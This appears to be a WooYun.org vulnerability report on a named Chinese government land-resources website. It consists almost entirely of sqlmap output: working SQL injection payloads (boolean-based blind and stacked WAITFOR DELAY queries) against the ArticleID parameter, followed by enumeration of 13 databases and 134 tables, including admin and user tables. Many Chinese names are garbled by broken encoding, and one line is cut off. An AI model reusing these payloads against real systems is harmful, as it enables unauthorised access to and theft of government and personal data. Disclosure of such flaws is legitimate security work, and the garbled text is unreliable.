WooYun.org

http://old.xtgtzy.gov.cn/Article-photo.asp?ArticleID=309

---
Place: GET
Parameter: ArticleID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ArticleID=309 AND 8228=8228
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ArticleID=309; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    T<code>

available databases [13]:
[*] [鍦熷湴鍒╃敤鐧昏鏁版嵁搴?014-12]
[*] [鍦熷湴鍒╃敤鐧昏鏁版嵁搴?014-6]
[*] [鍦熷湴鍒╃敤鐧昏鏁版嵁搴?014-8]
[*] hy
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] xtgtbs
[*] 鍦熷湴鍒╃敤鐧昏鏁版嵁搴?[*] 鍦熷湴鍒╃敤鐧昏鏁版嵁搴?0131018

Database: hy
[134 tables]
+-------------------+
| BGxxB             |
| Bs_Admin          |
| Bs_Book           |
| Bs_Book_dzxf      |
| Bs_Book_sqgk      |
| Bs_Company        |
| Bs_DownBigClass   |
| Bs_DownSmallClass |
| Bs_Download       |
| Bs_Faq            |
| Bs_Honor          |
| Bs_Img            |
| Bs_Job            |
| Bs_Jobbook        |
| Bs_Links          |
| Bs_NewsCo         |
| Bs_NewsPr         |
| Bs_NewsYe         |
| Bs_OrderList      |
| Bs_PrBigClass     |
| Bs_PrBigClass3    |
| Bs_PrSmallClass   |
| Bs_PrSmallClass3  |
| Bs_Product        |
| Bs_ShopList       |
| Bs_SysData        |
| Bs_User           |
| ClXXb             |
| CyZlB             |
| CyzlType          |
| D99_CMD           |
| D99_Tmp           |
| DhClZtB           |
| DwLdxx            |
| DwUserB           |
| FbZtB             |
| HyHdBpB           |
| JGJC              |
| LdDnZw            |
| LdHdB             |
| LdHdClB           |
| LdHdSxRyB         |
| LdJb              |
| LdJtGj            |
| LdTel             |
| LdTxGjB           |
| LdXgRyXxB         |
| LdXgRyZz          |
| LdXzZw            |
| MmCdB             |
| NB_Column         |
| NB_Content        |
| NB_Content_aa     |
| NB_Ip             |
| NB_Link           |
| NB_Review         |
| NB_System         |
| NB_Top            |
| RyZW              |
| RyZc              |
| RyZzmm            |
| SGxxB             |
| SjJgZryxxB        |
| Sjksxxb           |
| Tab_Db            |
| Tab_Dbsy1         |
| Tab_Dw            |
| Tab_Filelb        |
| Tab_JsB           |
| Tab_JsQx          |
| Tab_NoFile        |
| Tab_Title         |
| Tab_UserLog       |
| Tab_UserQx        |
| Tab_UserQx11      |
| Tab_Users         |
| Tab_UsersJs       |
| Tab_Xzqh          |
| Tab_YesFile       |
| Tab_ZL            |
| Tab_module        |
| Tab_ofxx          |
| Tab_xxHfb         |
| Tab_xxb           |
| Tab_xxlb          |
| Unit_Fl           |
| VIEW1             |
| Vote              |
| Vote_cj           |
| Vote_dj           |
| Vote_dj2          |
| Vote_js           |
| Vote_jyxx         |
| Vote_sfxz         |
| Vote_sfxz1        |
| Vote_txql         |
| Vote_xzsp         |
| Vote_zw           |
| XGxxB             |
| XjJgUserB         |
| XjLdTel           |
| XjLdXgRyXxB       |
| XjZryxxB          |
| Xjksxxb           |
| XjldxxB           |
| ZBZBB             |
| ZbLdYjB           |
| ZbLxB             |
| ZryxxB            |
| Zy_xxHfb          |
| Zy_xxb            |
| Zy_xxlb           |
| <%NoDown%>        |
| counters          |
| dtproperties      |
| email             |
| friend            |
| gwclb             |
| jjcd              |
| ksxxb             |
| ldxxB             |
| maildefault       |
| sbdata            |
| tddj              |
| vote_tddj         |
| vote_xk           |
| webcount          |
| xxfb              |
| zzbsGzzz          |
| 浠栭」鏉冨埄璇佷功            |
| 鍥芥湁鍦熷湴10                |
| 鍥芥湁鍦熷湴110               |
| 鍦熷湴鐧昏淇℃伅            |
| 闆嗕綋鍦熷湴10                |
+-------------------+